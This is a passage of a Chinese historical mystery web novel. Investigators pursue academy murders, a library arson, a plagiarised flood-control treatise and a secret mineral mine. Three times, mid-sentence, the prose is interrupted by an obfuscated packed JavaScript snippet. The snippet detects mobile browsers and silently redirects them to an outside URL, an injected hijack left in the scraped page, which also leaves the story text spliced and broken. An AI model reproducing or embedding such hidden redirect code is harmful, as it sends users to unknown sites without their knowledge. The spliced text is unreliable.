“他手腕上的伤口虽深,但边缘有两处浅痕,像是挣扎时留下的,且伤口方向偏斜,不似自尽时的利落角度。脖颈处,手臂处有几道淤痕,凶手是先将他制住,再逼他划开手腕,伪装成自杀的模样。”明荔指尖轻点自己的脖颈,语气笃定目光又落到桌角处,“还有那碗残羹,我瞧着像是米粥,待会儿得查验一番,说不定里头掺了东西,让他无力反抗。” 谢知津点头,目光扫过屋内陈设,桌椅摆放整齐,并无打斗痕迹,显然凶手行事极为谨慎,借着送吃食的由头混入,得手后迅速撤离,连一丝多余的痕迹都没留下。 “周叔是书院的老门房,平日里性子和善,没与人结过怨,凶手杀他,定然是因为他知道些什么。”谢知津沉声道。 32. 第 32 章 谢知津下令,即刻封锁书院,排查所有学子,而明荔和周蔚则在屋中搜寻证物。 莫以新回来之时回禀道,“今早送饭食的人半张脸已被大火焚毁,不想让人瞧见窘态,所以才遮遮掩掩,不想竟惹人误会。” 此种结果,谢知津早便料到。凶手杀周叔用的瓷片正是原来搁在窗台上的粗瓷瓶,瓷瓶的碎片被丢在了屋中墙角的杂物堆中。被找到时,上头还有血迹。 且周叔虽年迈,但从手臂的肌肉线条也可看出,他手臂力量不小,若是屋中二人起了争执,屋外守着的衙役一定会听见入内查验,不可能让凶手有可乘之机。 除非,有人对他用了药,趁他不备。 “大人,有发现。” 三人循着周蔚的声音入内,内室地面上有一些细碎的沙土,像是从屋顶处落下的。 周蔚上去瞧过,房顶上的几块瓦片正好可以移开,他身量一样的人可以轻松入内。 “我顺着房顶上凶手的脚印走一直到藏书阁后门,发现了这个。”周蔚把一块正方形私印递给谢知津。 “陆。” 莫以新听到后将林君拉进内室,“书斋中姓陆的都有谁?” “只有两人,一位是陆山长,另一位是乙字斋的陆文修。” 林君像是想到了什么,支支吾吾道,“可是陆文修早在一月前便离开书斋了,怎么会……” 谢知津抬眼看向周蔚:“屋顶脚印尺寸如何?” 周蔚颔首:“约莫四寸半,和我的差不多大。” 明荔蹲在杂物堆旁,拾起其余几块碎片,忽然抬眼,走到谢知津身旁:“这瓷片边缘除了血迹,还有些墨渍,像是松烟墨。” 林君向后踉跄了半步,靠在身后的石柱上,眼神空洞,“完了,不会真的是陆山长吧,他最喜爱松烟墨了。” 谢知津没接林君的话,只朝周蔚抬了抬下巴:“速去比对,莫多做纠缠,取了鞋样便回。” 周蔚应声而去,脚步轻疾地往竹院去了。 另一边莫以新的眉头像是拧成死结,瞥了眼脸色惨白的林君:“你确定陆山长独爱松烟墨?陆文修用什么墨?” 他没读过书,在心中是将大儒当做圣人一般的,实在不敢相信一个读书人会做出这等伤天害理之事。 林君攥着衣角,声音发颤:“陆文修家境普通,只用最便宜的粗墨,墨色发灰,哪有这般细腻。山长的墨多半都是花高价买的,而且每次磨墨都要加沉水香,阁中上下都知晓。可山长待周叔素来和善,怎么会杀他?” “松烟墨也并非独有之物,”谢知津的声音听不出情绪,“单凭此点,尚不能断言。” 正说着,周蔚已悄然返回,面色凝重。他对谢知津低声道:“大人,已取来陆山长日常所穿鞋履的样。山长足印偏大,约五寸有余,且鞋底纹路平缓,与屋顶留下的痕迹不符。屋顶的脚印前掌着力明显,像是青壮男子的。” 此言一出,林君像是抓住了救命稻草,急急道:“我就说,山长年近花甲,怎可能翻越屋顶?定是有人陷害!” “陆文修的身形步态,书院中谁最清楚?”谢知津问。 林君思索片刻:“乙字斋的齐助教与他同住一舍,应当知晓。” “去请齐助教,莫要声张。”谢知津吩咐莫以新,随即转向周蔚,“陆文修离院归家,是何缘由?家住何处?” “据说是母病,告假而归。家住城西陆家巷。”林君答道,“但,他一月前便走了啊……” 莫以新很快带着齐助教来了。齐助教是个瘦高的年轻书生,听闻事关命案,急匆匆的赶来,说话的气息都有些不稳。 “文修他,身量比我稍矮,但很胖,鞋印尺寸?”他回想了一下,“约莫就是四寸半。” “他常用何墨?” “他节俭,多用普通烟墨。但……”齐助教顿了顿,“山长惜才,曾赠他一小块松烟墨,他宝贝得很,只有誊抄重要文章时才舍得用。” “烦请齐助教瞧瞧,这私印可是陆文修的?” 齐助教都未曾接过去,只远远的瞧了一眼便回道,“这是陆山长的私印,金镶玉,他可宝贝的很。” 谢知津沉思了一会儿,随后让周蔚护送助教回去,又同明荔一道往陆山长房中去。 路上谢知津一句话没说,心中五味陈杂。 “你也觉得陆山长有嫌疑?”明荔适时开口。 谢知津无奈点头,“不过我想不明白,究竟是为了什么,不过如今只能证明他杀了周叔,希望还有回转的余地吧。” 竹院静谧,青竹环伺,风过叶响,倒比别处多了几分清寂。 谢知津与明荔行至院门前,未等通报,便见陆山长一袭素色长衫,正坐在石案前磨墨,砚台里墨香清冽,混着淡淡的沉水香 见二人来,陆山长抬眸,神色平静无波,指尖仍握着墨锭缓缓研磨:“谢大人,明郡主,二位快坐,我这画马上便要成了。” “谢大人登门,可是为周管事之死?” 谢知津拱手行礼,语气沉缓,将印展示给他瞧,“正是,山长,周叔于屋中遇害,凶器乃屋中一方瓷片凶手由屋顶潜入,现场留有一方陆字私印,而据我所查,这私印的确为您所有。另有松烟墨渍,种种线索皆指向书斋中姓陆之人。” “我这私印半月前便丢了,如今失而复得还要多谢你们。”陆山长接过私印,继续磨墨,墨汁在砚台中晕开,浓黑细腻:“书斋中姓陆者,唯有老夫与陆文修二人。方才周蔚取老夫鞋样比对,想来已排除老夫嫌疑,大人今日前来,是想问陆文修之事?” “山长通透。”谢知津颔首,“据学子所言,陆文修一月前以母病为由告假归家,不知山长可知其家中具体情形?他离院时,可有异常之举?” 陆山长紧捏着狼毫笔,目光落在纸面留白处,语气添了几分怅然,“文修天资尚可,只是性子执拗,遇事爱钻牛角尖。一月前他来告假,神色慌张,言语间多有闪烁,老夫虽觉蹊跷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833148|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但念其孝心,便准了假。至于家中情形,他只说母亲卧病在床,需人照料,具体细节未曾多言。” 明荔适时开口:“听闻山长曾赠陆文修一块松烟墨?他平日是否常用此墨誊抄文章?” 陆山长抬眼看向明荔,点头道:“确有此事。那墨是友人所赠,质地尚可,文修誊抄阁中孤本时格外用心,老夫见他惜墨如金,便赠予了他。他节俭,寻常时候多用粗墨,唯有誊抄重要文稿,才舍得用那块松烟墨。” 明荔从袖中掏出一张纸来,那是她从王衍的词稿中誊抄下来的,形似两个了交错的圆环,“山长可认得这个印记?” 陆文渊脸色微变:“这是当年水利司的官印。县主从何处见得?” “王珩的词稿上,也有这个印记。” “绝无可能!”陆文渊断然道,“此印三十年前就已废止,新印去掉了环纹。” 谢知津上前细看:“山长可否取出当年的文书对照?” “两位稍待。” 良久陆文渊从柜中取出一本泛黄的册子名曰《水利司纪要》。 翻开扉页,果然盖着同样的双环印。 “这是唯一留存的了。”他轻抚书页,“其他文书都已归档工部。” “还有一事。”明荔继续问,“周叔死的时候,您在哪儿,做什么?” 陆山长睁圆了眼,“你们,你们不会怀疑我杀了周双吧。” 他见明荔和谢知津都不说话,遂改口,“我在作画,我屋中之人都可以作证。” 两人未在说话,房中一人大多都是陆山长的亲信如何能作数,但从陆山长的画作上来看,的确要耗费许多时间,那便说明周叔死的时候,他的确有不在场的证明,一切便只能等周蔚从陆文修处取证回来再做定夺。 走向竹林深处,明荔开口问询,“谢大人,可否查查三十年前水利司的旧档?” 谢知津颔首:“我已派人去工部调阅。不过……”他顿了顿,“恐怕不易。当年的旧档多有遗失。” “特别是关于洛河治理的?” 谢知津深深看她一眼,“此事我只听父亲讲过,当年张惟因洛河治理方案被罢黜,且牵连甚广,所以旧档多半都被封存了。” 她点点头,瞧着向西而落的暖阳,“时间还早,咱们去程成处坐坐吧,再问问他有关这印记之事,也许他知道些别的呢。” …… 彼时程成正悠闲的坐在房中饮茶,看到他们来如见了瘟神一般,整个脸都垮了下来。 依礼请他们就坐后,也让人奉茶来。 明荔依旧将那印记递给了程成。 程成见此双环印之时,一惊,“这是谁的?” “王衍的。” “怪了,学生怎会有此印记?” 他沉吟道,“除非......” “除非什么?”谢知津问。 “除非见过当年的旧物。”程成道,“书院藏书阁中,或许还有盖此印的残本。” 33. 火场之难 青麓书院的藏书阁坐落在授课堂的后头,楼分为三层,顶层是平日里晒书的地方,二层有藏书,有位置,可以让学子们看书喝茶。 藏书阁的管事是个白发老叟,耳背目昏,谢知津问了半天老叟才明白来意。 “双环印的书啊......”他颤巍巍指向二楼最里的书架,“都在那儿了,几十年没人动过。” 明荔和谢知津在积满灰尘的书架间翻找,最里头的书架才是陈年旧书,大多是一些水利典籍和工程纪要,盖着同样的双环印。 在书架底层,明荔发现一本《洛河水文志》,书脊破损,用麻线勉强缝着,她轻捧着,怕损坏书籍。 书中夹着一沓手稿,字迹清瘦劲挺,纸张已经泛黄,看不清是什么纸,且残缺不全,看起来有年头了 “洛水之治,当疏非堵。余观旧案,多因强堵致溃......” 这是一套完整的治水方案,与《水经通释》中的核心论述虽相似,但此书却更加精妙。 而稿纸末尾,署着一个小小的张字。 “谢大人。”明荔轻声唤道。 谢知津来看手稿,“这,是张岚的字吗?” 他取出随身携带的张岚家书对比,字迹果然虽相似,但笔风不同。 正要翻阅下一卷时,只听那老叟的声音从外头传来,“走水了!藏书阁走水了!” 浓烟先于热浪滚入书架深处,刺鼻的焦糊味瞬间弥漫。 火舌从二楼的窗棂舔上来时,谢知津一把拉住明荔手腕,用袖子捂住口鼻,“跟着我!” 明荔被呛得咳嗽,回头看向那排双环印的书架。 谢知津低喝,拉着她下到一楼,本想从正门出去,可撞了两下都没撞开。 “走窗户!” 他先托着明荔从窗口送出,自己才翻身跃下。 落地是藏书阁后的窄巷,老叟颤巍巍提着一桶水,正朝楼底泼洒,杯水车薪。二层火势已大,黑烟冲天。 谢知津站稳便急问:“何时起的火?可有人进去过?” 老叟慌得直摆手:“不,不知道啊,老朽在门口打盹,一睁眼就见二楼冒烟……” 烈焰如巨兽,吞噬着百年藏书阁,这一刻人力就显得极其渺小。 “不过还好,我们拿到了手稿。”他摸了摸腰间竟空空的,谢知津暗道不好,“手稿掉在火场了,应该是方才撞门或翻窗之时不小心掉了。” 明荔缓了会儿神,随后撕下裙摆浸入水缸,蒙住口鼻就要往火场里冲,还好谢知津眼疾手快,一把拽住她:“危险,你不要命了!” “手稿还在里面!”她挣脱他的手,“那是唯一证物!” 谢知津瞧着火势实在太大,她又不会武进去必死无疑,“我去,你在这等着。” “唉!” 他绕到火场侧面。这里火势稍弱,一扇侧窗半开着。 翻窗而入,浓烟中,她看见书架间有个黑影在翻找什么。 “程先生?”谢知津看她腿脚不便,认出那是程成,便试探着唤道。 但黑影一顿,随即迅速向深处隐去。 谢知津回到方才的地方,在众多卷书中找到了方才的手稿,欲跳窗出去时,遇见了程成。 “你是在找这个吗?”谢知津晃了晃手稿。 “我一直想不通,陆文渊为何要杀崔谦。直到想起崔谦是工部尚书的外孙。” 程成脸色一变。 “崔谦发现真相后,定会告知外祖父。届时不仅陆文渊身败名裂,当年参与诬陷案的其他人也难逃干系。” 程成突然笑了,“谢氏子果然聪慧,只可惜,你要陪这些秘密葬身火海了。” 他猛地掀翻燃烧的书架,火舌瞬间封住去路。 谢知津疾退,衣袖已被燎着。迅速扑灭火星,再抬头时程煜却已不见踪影。 火场方向传来嘈杂人声,学子、仆役们提着水桶奔来。 “怎么还不出来……” 明荔攥紧怀中的《洛河水文志》,指节泛白,目光死死黏着藏书阁侧窗的方向,耳畔是烈火噼啪作响的声浪,心却沉得像坠了深潭。 “火势越来越大了,我去迎大人。”莫以新把空桶丢在地上,急冲冲的样火场里头奔。 “怎么回事?”周蔚从宫中调阅档案回来至门口见一个人都没有便觉得奇怪,走到学子寝舍瞧见这个方向烟雾缭绕的狂奔过来。 二楼的横梁已开始发出不堪重负的吱呀声,偶尔有燃烧的木片坠落,砸在地面溅起火星,每一声都撞得她心口发慌。 明荔喉间发紧,“我同大人进去寻证物,不知是何人放的火,大人为了拿证物便进去寻了到现在还没出来。” 她又要往前凑,却被周蔚伸手拦住:“郡主火势太猛了,往前去会被热浪灼伤的。” “可他还在里面。”明荔声音发颤,眼眶泛红,眼泪一个劲的往下掉。 “郡主放心,我们大人的身手我还是有数的,而且莫以新不是也进去了,他的武功在大人之上。一定没事的。”话音刚落,就见侧窗处猛地跃出道黑影,落地时踉跄了两步,衣袖与发梢还沾着火星,正是谢知津。 明荔心头一松,快步迎上去,伸手想帮他拍灭火星,却被他避开。 他怀中紧紧护着那沓手稿,生怕火星燎到半分。“没事吧?”她急声问。 谢知津,手稿递到她手中,嗓音因吸入过多浓烟而沙哑:“还好,没被烧坏。” 她刚要说话,就见谢知津猛地捂住胸口,剧烈咳嗽起来,咳得身子都微微佝偻,嘴角竟溢出一丝血迹。 “随之!”明荔慌了神,连忙扶着他的胳膊,“你受伤了?” “大人。”莫以新替他解释,“方才在里头被房梁砸到了背部,稍候还请郡主为我们大人检查一下,看看严不严重。” 谢知津缓了好一会儿才止住咳,摆了摆手,目光望向藏书阁的方向,烈焰已将整座阁楼吞噬,昔日藏书万卷的地方,此刻只剩一片废墟,“方才在里面,撞见了程成。” 火被扑灭后,衙役们在废墟中只找到一具焦尸,左腿微跛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837017|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与程煜特征相符。 “畏罪自焚?”谢知津蹙眉。 ### 明荔扶着谢知津回了屋中,给他把过脉后,又查验了伤口。 白皙的脊背上都是灼伤,明荔声音颤抖着,指间沾了些烫伤膏轻轻点涂,“你忍着点,可能有点疼。” 外头周蔚正交代着从工部查来的存档。 “说来你们可能不信,这张岚的祖父竟是张惟,曾是工部水司主事,三十年前因渎职被罢黜,不久郁郁而终。可偏那时陆文渊的《水经通释》一举成名,而张惟因治水方案失误被问罪。” “我曾看过《水经通释》结合方才得来的手稿看,只有一种可能,这书是剽窃之作。陆文渊盗用了张惟的治水方案,成就了自己的名声,张惟反被诬陷渎职。张岚发现了真相,因此被杀。” “不止他。”明荔将药瓶搁在桌上,又倒了杯温水,“那日我在王衍房中得到的众多书中,还找到了一样东西。” “愿助张兄昭雪。——王衍谨记。若是这样来看,王衍和张岚一定是知道了此事,王衍为人仗义,看不过去便想着和他共同复仇。我猜测,王衍应当是想保护证据才将那三本书包好共同丢到了水井中,只不过他没想到陆山长的黑手来的太快。” “那崔谦呢?他在这其中扮演什么角色?”莫以新发问。 谢知津将衣服穿好,“他是工部尚书的外孙,张岚若想为祖父讨回公道必须得到三十年前的存档,我猜想他们应当是告知了崔谦,所以这才让他也送命。” 现在只剩下一个问题证据虽在,但都是三十年前的旧事,如何证明陆文渊是现在的凶手? 谢知津脊背的灼伤痛得他眉心微蹙,“立刻让人再去废墟仔细搜寻,尤其是焦尸周遭,哪怕是烧得残破的物件,也一并带回。另外周蔚带几个人去搜查程成的住所,看看有没有什么新发现。” 屋内只剩谢知津与明荔二人,烛影落在他苍白的脸上倒让他生出几分美艳,有股病美人的样子。明荔一时失神,随后从箱子里翻出一瓶药膏,轻声道:“你先歇会儿,伤口刚敷了药,别太劳神,这药三日一次,祛疤最有效。” 他道了声谢,转头又提起了案子,“陆文渊在书院深耕多年,又有文坛盛名,若无铁证,贸然指控只会打草惊蛇,甚至反被他倒打一耙。” “好了我的谢大人,先休息一会儿,待他们回来我们再商讨也不迟。”她给谢知津拿了个枕头,“你先靠着歇会,我已经吩咐人去看着陆山长了,一有消息他们会即刻来报的。” 谢知津点点头,但也闲不下来,看着枕头拿起了《洛河水文志》来读。 约莫一个时辰后,周蔚与莫以新带着几个衙役折返。 “火场那边倒是没什么有用的,起火原因倒是查到了,有人在藏书阁外围洒了烈酒,这才使火势如此之大。” 莫以新接着回禀,“程成房间都是些书本,咱们急着破案,哪有时间把房中那些书都读上一遍。” “你们可有人知晓青泥湾吗?”谢知津突然发问。 34. 第 34 章 《洛河水文志》批注中有言,张惟当年治水时,曾在洛水下游的青泥湾埋下一块石碑,碑上刻着完整的治水核心,且有署名,若是能找到这块石碑,便能与《水经通释》,手稿三者比对,剽窃之事便一目了然。 “就在洛水下游,离书院不过半日路程,只是多年未曾有人踏足,怕是早已被荒草淹没。”莫以新道。 “明日一早,我们便动身前往,务必找到石碑。” 眼下已有证据指向陆山长,为了怕他阻挠,谢知津特命周蔚前去看着陆文渊。 次日天刚破晓,谢知津忍着背痛,与明荔,莫以新,一同前往青泥湾。 一路颠簸,抵达时已是晌午,正如莫以新说的那般,青泥湾果然荒草丛生,河水浑浊,一眼望去根本看不到石碑的踪迹。 众人分工搜寻,莫以新带着几个衙役用锄头拨开深草,明荔和谢知津则分头沿着河岸仔细查看。 “大人,先歇片刻。”明荔看着谢知津的额角已经渗出细细的薄汗,随后将随身的水囊递过去,低声道: 谢知津摇头,正欲开口,不远处莫以新忽然发出一声惊呼:“这里!” 众人循声围拢过去,只见拨开的荒草与淤泥之间,露出一角青灰碑石。 莫以新与衙役加紧清理四周,石碑的全貌逐渐显露,高约三尺,宽二尺余,碑面遍布苔痕水渍,但刻字的凹痕依然明显。 明荔蹲下身,用袖子小心翼翼拭去碑面浮土。字迹浮现,是工整峻峭的楷书,开篇便是:“洛水疏浚纪要,延熙七年春,张惟谨录。” “是张惟的字。”谢知津的声音有些发颤,“我看过他的奏折摹本,这笔锋转折处的锐气,旁人模仿不来。” 谢知津凝神细读,碑文详细记载了当年青泥湾一带的地势水情,疏导方案,所用工料乃至民夫调度,内容之详实,碑文末尾明确写道:“余毕生治水心得,尽录于此,后世若有志者,可循此法。” “有了这个,陆文渊即便巧舌如簧,也难辩白。”明荔轻声道。 他们带着证物返回书院时,夜色已深。陆文渊坐在书斋中悠闲的饮茶,仿佛等候多时。 “山长还有何话说?”谢知津将今日查访石刻之事尽数讲清。。 “成王败寇。”他淡淡道,“只恨当年心慈手软,未将张惟手稿尽毁。” “为何杀学生?”明荔问,“他们只是发现了真相。” 陆文渊笑了,笑容苍凉:“真相?郡主以为,真相是什么?” 他起身,从暗格中取出一本笔记。 “看看这个再说吧。” 笔记记载,张惟的治水方案其实有重大缺陷,当年若实施,洛河下游三县将尽成泽国。陆文渊发现后紧急修正,但张惟固执己见,甚至要上奏强推。 “我不得已......”陆文渊闭目,“为了数万百姓,只能让他消失。” “那三个学生呢?”谢知津冷声问,“也是为了百姓?” 陆文渊沉默良久:“他们不该重提旧事。治水在即,不能动摇民心。” “所以杀人灭口?”明荔难以置信。 “成大事者,不拘小节。” 突然,窗外传来一声轻响。谢知津和莫以新迅速追出,只见一个青衫身影消失在夜色中。 待在回来之时,只见陆文渊倒在血泊中,心口插着一柄短刀。 而明荔,后脑受了重击打,已晕死过去。 昏迷的时候,明荔隐隐约约听见谢知津发了好大的脾气,说若是治不好自己和周蔚,太医令的位置就别想坐了。 后来,约摸是赵崇过来了,只见众人都向他跪拜,赵崇惋惜的摸了摸明荔的手,低声道,“你若是嫁给我,定不会受这样的苦。” 天好像又暗下去了,她做了一个很长的梦,梦里爸妈做了一大桌子的菜,叫她回家…… 因青麓书院受朝廷管辖,治下学子被谋杀,陛下也极其关注案子的进度。明荔虽重伤昏迷,但不可因一人之过影响案子破获的进度,遂由刑部接手,同大理寺共破此案。 刑部请来的仵作郑助验尸时得出陆文渊胸口的伤为致命伤,“两位大人请看,死者指甲缝里有些微褐色泥屑,与湿泥相同。但奇怪的是,他右手拇指与食指指腹,有明显的灼烧痕迹,而且应当是新伤,最近几日留下的。” 谢知津仔细查看,看伤口的形态,不像是受普通蜡烛灼烧后的样子,倒像是被大火灼烧过后留下的痕迹,但这几日除了藏书阁起了火,山上并没有别的起火点。 可事发之时,陆文渊一直在屋中,这点衙役们都可以为证。 无奈之下只得派出衙役搜查整个书院,北部由谢知津负责,南部由刑部侍郎张悬负责。南部的藏书阁被焚毁的厉害,搜查起来十分费力,估摸着过了四五个时辰,侍郎张悬在倒塌的书架下找到一个暗格。 里面除了些金银细软,还有一包用油纸裹着的黑色粉末。 “是火药。”张悬沾取少许嗅了嗅,“纯度不高,像是自制的。” 张悬想起谢知津提起藏书阁的大火,若如他所说,再结合现场的情况,那样的火势,若只是书籍燃烧,不该蔓延得那般快,以至于焚毁整个书阁,甚至连带着旁边的客舍都险些遭殃。 “他在藏书阁里藏了火药。”他推断,“为了确保手稿被彻底焚毁?” 张悬将火药拆开,这火药同别的有些不同,油纸边缘沾着一点金色粉末,在烛光下微微闪烁。 “这是,龙鳞砂。”身边一道随查的护卫张夜先前还不大确定,后来在仔细打量,已极为肯定。 “何为龙鳞砂?” “一种极稀有的矿物,只产在洛河上游的金砂矿。三十年前矿脉坍塌,此砂便绝迹了。”张夜,压低声音,俯耳道,“传闻当年工部私采此矿,酿成大祸。” “此砂遇水则黏,久凝不散。更奇的是,遇火会变色。” 他将少许金粉撒入烛焰中,粉末瞬间由金转赤,迸出点点火星。 回房中后,张悬向谢知津提起了此事,如此火场中那些明亮异常的火星便有了解释 “当年私采此矿的人可有记载?”他缓缓问。 张悬摇头:“那是掉脑袋的事,谁敢记载?我也只听父亲说主持开采的是个姓张的官儿,后来矿塌了,死了好多人。” 姓张,莫非? “张大人,”谢知津轻叩书案,“恐怕我们需要查清三十年前金砂矿坍塌的真相。” 张悬此人在刑部以刚正不阿出名,可如今此事困难重重,他也爱莫能助,“工部旧档已毁于大火,当年涉事之人要么已故,要么......” “要么怎样?” “要么身居高位。” 张悬沉默。 凡事涉及当今权贵,此案恐难深究。 张悬端起凉茶饮了一口,苦涩漫过舌尖,与心底的无奈缠在一起,“谢大人,我懂你的意思。可你我都清楚,工部旧档焚毁绝非偶然,当年私采龙鳞砂的主事者,若真还在朝堂之上,必定根基深厚。我们如今手里只有一包火药,一点龙鳞砂,贸然追查,非但动不了人家,反倒会引火烧身。你别忘了,明荔郡主还在昏迷,周蔚也还躺着,你若是出了岔子,谁替他们讨公道?” “我知晓大人的意思,若大人不想沾染,那谢某也绝不强求。” 张悬当然不是这个意思,但看他坚持,张悬也松了松口,“罢了,看在你我两家是世交的份上,我便陪你走着一遭。龙鳞砂绝迹三十年,这些金粉从何而来,当务之急是要查清此一桩事?” “还有我既然你说此事同水利有关,那我们倒是可以去寻一人,他或许知道些什么。” “何人?”谢知津问 “周谨,现任工部侍郎,当年是水利司主簿,我同他略有些交情,虽性情古怪,但你与我同去,他定会给我三分薄面。” ### 两人是在太阳落山之前赶到周府的,因担心书院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868078|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不安全,便一道带着明荔下了山。 至城中后兵分两路,谢知津名莫以新将明荔送回了府邸,而周蔚则在府上偏房养病。 周谨正在院中听戏,见他们突然造访,也让她们坐下一道欣赏。 “谢大人,张侍郎。”他笑的爽朗,“我这小院儿今儿真是蓬荜生辉啊。” 谢知津不喜同人周旋,没待张悬开口,他便从怀中掏出印信,“周大人可认得此物?” 周谨脸色登时就变了,忙摆手让戏子们退去,“此乃旧印,早已废止,你们如何得来?” “三十年前,大人曾在水利司任职?”张悬问道。 “是,当时还是恩师举荐我去的,至今我都都十分感激。” “可记得张惟?” 周谨手有些发抖。 “张,张主事?”他声音发颤,“当然记得,我们在一起共事很久,不过他后来因渎职被罢黜,我也觉着十分惋惜。” “是因为金砂矿吧?”谢知津紧盯着他,想从他嘴里套出些话来,“张惟发现了矿脉,你们私采牟利,后来矿塌了,便推他顶罪。” “荒谬!”周谨拍案而起,手指颤颤巍巍的直接谢知津,“本官,本官,” “陆文渊死了。”谢知津冷冷道,“下一个会是谁?” 周谨踉跄后退,跌坐在椅中。 良久,他哑声道:“死,死了?你们都知道什么?” 周瑾是是个惜命之人,最是怕死。 “知道的不多,”谢知津道,“愿闻其详。” 周谨闭上眼,深深吐了口气。 “那年洛河大水,冲出了金砂矿脉。张惟上书建议朝廷开采,但测算需时。”他缓缓道,“陆文渊私下找了几个人,说可以先试采一批。” 结果矿脉比预想的弱些,私自开采导致坍塌,十七条人命埋在矿下。 “陆文渊伪造了张惟的文书,将责任全推给他。”周谨苦笑,“我们这些人,要么得了好处,要么被他捏住把柄,这辈子都只能受他驱使。” “张惟手稿呢?” “陆文渊拿走了,说会妥善处理。”周谨睁开眼,“我们都没想到,他会据为己有,还以此成名。” “前些日子,陆文渊给我捎来了信,说山上有人不知从何处得到了张惟的部分手稿,怀疑当年真相。”周谨涩声道,“陆文渊来信说会处理,让我们不必担忧。” “那程成呢。他又在在其中扮演什么角色?”谢知津问。 周谨神色复杂:“程远道的儿子啊。他一直怀疑父亲的死与当年之事有关。” “程远道不是病故?” “他身体强健,说并就病哪儿那么便宜。。”周谨压低声音,“他想告发,陆文渊便。”他做了个抹脖子的动作。 所以程成是在为父报仇。 “你有多久为见过程成了??” 周谨摇头:“昨夜来过,问了些旧事便走了。:”他顿了顿,“似乎还在查另一件事。” “昨夜来过?” “难道?” 谢知津狐疑惑,当日验尸匆忙,说不定有什么漏点的地方。众人没有发觉,“去,让仵作重新验尸。” “矿塌时,除了矿工,还有一个孩子被埋。”周谨声音发颤,“是张惟的独子,张岚。” 张悬怔了一瞬。 “那孩子当时只有八岁?”周谨喃喃道,“张惟抱着孩子的尸体,三天三夜不撒手......”后来张惟被诬陷罢黜,郁郁而终。张家就此没落。 张悬感到一阵寒意。 夜里离开周府时,谢知津忽然问身侧系披风的张悬,“你信他所说?” “七分。”张悬道,“但他隐瞒了一件事。” “什么事?” “若只是为了掩盖旧案,杀张岚和王珩便够了,为何要杀崔谦?”她停下脚步,“崔谦与三十年前的事无关。” 除非......崔谦发现了别的秘密。 35. 第 35 章 暗探来报,说京州城中有一地专收来路不明的矿料,是夜,大理寺和刑部便各出三人赶往黑石巷。 这巷子很小,坐落在京城最腌臜的角落,青石板常年湿滑,空气中弥漫着劣质油脂和霉变的混合气味。 谢知津和张悬,扮作贩皮货的商人由暗探引着。 “朱七的铺子在巷尾。”引路的暗探低声说,“专收来路不明的矿料,听人说背景很深。” 铺子门面窄小,挂着块破木匾,上头七宝斋,门上挂着几个银色铃铛,推开斑驳的木门之时,铃铛轻响。 柜台后坐着个精瘦老头,正用镊子挑拣着什么。 听见动静,头也不抬:“今日歇业,诸位请便。” “买金砂。”谢知津冷冷道。 老头终于抬眼,浑浊的眼珠在二人身上转了一圈,以同样的语气回他,“没有。” “咱们是周侍郎介绍来的。”张悬温柔笑笑,将一锭银放在柜上,“他说,你这儿有好货。” 听到周侍郎三字,老头神色微动。 他起身关了店门,落下门闩。 “周大人他......”老头试探着问。 “不方便来。”谢知津截住话头,“货呢?” 老头撇撇嘴,似是不满意,从柜台下拖出个木箱,那里头装着的是半箱矿石。 张夜拈起一块细看,确认正是龙鳞砂原矿后向张悬点了点头。 “成色一般。”谢知津故意挑剔,“就这些?” “好货不摆台面。”老头眯起眼,“二位要多少?” “先看货,再谈价。” 老头犹豫片刻,推开后墙的货架,一道暗门显露出来。 穿过狭窄的通道,便是一个长阶梯,下去走了约摸一盏茶的时间隐约听见有敲击声,再过半盏茶的时间,眼前豁然开朗。竟是个地下作坊,满室粉尘,十几个工匠正抓紧劳作。 张悬掩住口鼻,扫视这里,此处看起来不像是新建的,应该是早些年便在了。 “这些都要了。”谢知津指着那些瓷罐。 老头刚要应声,作坊深处忽然传来一声闷响,接着是工匠的惊呼。 “塌了!又塌了!” 众人涌向声源处,只见一段矿道坍塌,碎石堵住了洞口。几个工匠正徒手刨挖,那下头埋了好像是他们的亲人。 “快救人!”谢知津厉声道。 但老头却拦住他:“贵人莫管,常有的事。” “下面是人命!” “命有贵贱。”老头冷冷道,“这些矿工,签了死契的。” 谢知津一把推开他,带人加入救援。张悬趁机在作坊里搜寻。 张夜在来处架子的暗格里得来了一本线账册。 翻开来看,最近三个月的交易记录里,有个熟悉的名字反复出现,崔氏商行。 崔谦家的产业。 为了避免惹人怀疑,张夜得到账册后便急忙回了下头,趁着众人不注意混进了人群。 他将账本交给张悬,同他耳语,“方才属下瞥了一眼,这账本上有谢璋的名字”。 谢知津的二叔,现任户部侍郎。 张悬瞥着那头谢知津的背影。 矿道那边传来欢呼,人救出来了。是个少年矿工,满脸血污,右腿怪异地扭曲着。 